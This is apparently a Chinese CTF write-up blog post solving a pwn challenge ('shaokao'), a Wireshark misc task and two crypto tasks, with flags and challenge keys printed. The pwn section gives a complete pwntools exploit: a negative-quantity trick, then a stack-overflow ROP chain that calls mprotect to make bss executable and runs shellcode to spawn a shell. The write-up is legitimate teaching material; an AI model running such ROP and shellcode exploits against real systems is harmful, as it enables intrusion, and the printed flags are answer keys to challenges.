编辑
2023-05-30
pwn
00
请注意,本文编写于 603 天前,最后修改于 479 天前,其中某些信息可能已经过时。

目录

pwn
shaokao
main
menu
exp
misc
Crypto
sign in passwd
国密sm2

pwn

shaokao

检查:

image-20230527170343950

发现是64位静态链接文件

ida查看:

main

image-20230527170503429

image-20230527170530084

可以看到这里有一个if判断才可执行的“改名”

image-20230527170634568

很明显这里有一个栈溢出:

python
io.recvuntil("0. 离开".encode('utf-8')) io.sendline(b'1') io.recvuntil("3. 勇闯天涯\n".encode('utf-8')) io.sendline(b'1') io.recvuntil("来几瓶?\n".encode('utf-8')) io.sendline(b'-99999') io.recvuntil("0. 离开\n".encode('utf-8')) io.sendline(b'4') io.recvuntil("0. 离开\n".encode('utf-8')) io.sendline(b'5')

拿到改名选项。

但是这题没有给我们system和binsh所以只能换种思路:因为是静态链接,所以一定有mprotect函数,可以直接更改段权限,这里我们可以直接更改bss段的权限,然后直接把shallcode写入bss段执行,又因为是64位,所以需要寄存器传参:

mprotect:

#include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。 len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。 prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用: 1)PROT_READ:内存段可读; 2)PROT_WRITE:内存段可写; 3)PROT_EXEC:内存段可执行; 4)PROT_NONE:内存段不可访问。 返回值:0;成功,-1;失败(并且errno被设置) 1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。 2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。 3)ENOMEM:内核内部的结构体无法分配。 这里的参数prot: r:4 w:2 x:1 prot为7(1+2+4)就是rwx可读可写可执行,与linux文件属性用法类似

参考:Linux中mprotect()函数详解__bob_h的博客-CSDN博客

所以这里就可以更改权限:

python
payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+p64(read)+p64(buf_addr)#这里实际找到的pop_rdx只有两个

image-20230527172614882

所以还要多传一个参数

通过rdi,rsi,rdx三个寄存器给mprotect传参更改权限,然后ret到read函数的地址写入shellcode,再跳转到shellcode处执行

注:这里bss段的地址只能选用4kb整数倍的地址。

exp

python
from pwn import* context(log_level='debug',arch='amd64',os='linux') context(terminal = ['tmux','split','-h']) # io =remote('123.56.238.150',24460) io = process('./shaokao') mp_addr = 0x0458B00 pop_rdi = 0x040264f pop_rsi = 0x040a67e pop_rdx = 0x04a404b read = 0x0457DD0 buf_addr = 0x4E9000 bss_addr = 0x4E9000 io.recvuntil("0. 离开".encode('utf-8')) io.sendline(b'1') io.recvuntil("3. 勇闯天涯\n".encode('utf-8')) io.sendline(b'1') io.recvuntil("来几瓶?\n".encode('utf-8')) io.sendline(b'-99999') io.recvuntil("0. 离开\n".encode('utf-8')) io.sendline(b'4') io.recvuntil("0. 离开\n".encode('utf-8')) io.sendline(b'5') # gdb.attach(io) payload = b'a'*(0x20+8)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi)+\ p64(0x100)+p64(pop_rdx)+p64(0x7)+p64(0x0)+p64(mp_addr)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf_addr)+p64(pop_rdx)+p64(0x100)+p64(0x0)+\ p64(read)+p64(buf_addr) io.recvuntil("请赐名:\n".encode('utf-8')) shellcode = asm(shellcraft.sh()) io.sendline(payload) io.sendline(shellcode) io.interactive()

misc

使用wireshark打开:

直接追踪tcp流:

image-20230528174521395

中间红色部分拼接:

MMYWMX3GNEYWOXZRGAYDA===

直接base32解码:

flag:

c1f_fi1g_1000

Crypto

sign in passwd

用给的第二行数据进行base64换表,再解码:

python
from base64 import* T1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' T2 = 'GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF' T2 = 'GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF' enc = 'j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D' str = '' for i in range(len(enc)): str += T1[T2.index(enc[i])] # str = base64.b64decode(str) print(str)

得出:

ZmxhZ3s4ZTRiMjg4OC02MTQ4LTQwMDMtYjcyNS0zZmYwZDkzYTZlZTR9

解码:

flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}

国密sm2

做题时的记录:

"id": "45c620d1-0c23-4e75-aa49-484f769dc6e8" A_prvite=2ABD46BACD79A7DE3E494056F80C3A802776CF454FB60EB4021D3162FA4BC3BC A_public=E7EA0C52F83B28EC7449FDE2346650BA108BEF938E6622A279726B27FCB48D8650A324962C3B7E1857968FB2C734323FC65B675755BFC583EE343431D3E6B906 B_private=597a62be8f1f746b104b060351e7841e3a84d1a07b78f76908c420d8d467ce47 B_pub=0438e483c718bae10e03d4ed4476bd28131383860034b47364a48d27436e23acd2328de25edd07519be64874d88734f4cc2eb9fff2756065f5745f229d206cbdf3 random=9a770cae67c0277737b704dfcf02663dd278f8eb1fb46ddedbf1762ec0c75057a66614843af1624b68502c3487de72fb0fc661e1e713c333021afd36fe78d2d276fb8be13315b68870b9a825b86654e699cb2c92ee07d6f460e93e8dd6c75081009dbe7d1d1b2a9af28aae6fad3e6aa5 "quantumString": "fd11b5ac03f85cd368d9234f847f2936a08ca3531468d4c67d3e3a002966725ccb0b793d12e4b0ad55689b72ac916998b4cba165c68ba09252b9f6724a28f7767921e9ddd63768530fd99e6738925cee8762d61ac2f9e29397dbbefd53110d26605bda47ab788e5548bc8ea3a77395fc" 随机数铭文:29 24 55 C9 3D 98 EA 1A 4B 25 8E A8 8D 97 77 30 B_pri明文= E8 B4 BA 6E F1 3A CE 6C DC D2 79 FF DA D6 54 49 25 74 18 94 2B 0C EF 92 F1 9A 81 AF 02 66 62 6E E34E5F83817D03A55E257D0214CD04E774E372FC451F1157773C2EA8012AFF1A1955E9BFC076D76F386526ED31CB411A0CFDE51D1F05CF7C07525D0CF69D67349F425C0AA71201E71C4DFA8A40B7A08191A5706B817563DB93CE EC 5F 32 7D DB 33 CB 94 1D B3 C0 8B F8 E3 A7 BA

根据给的文件做就可以.

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!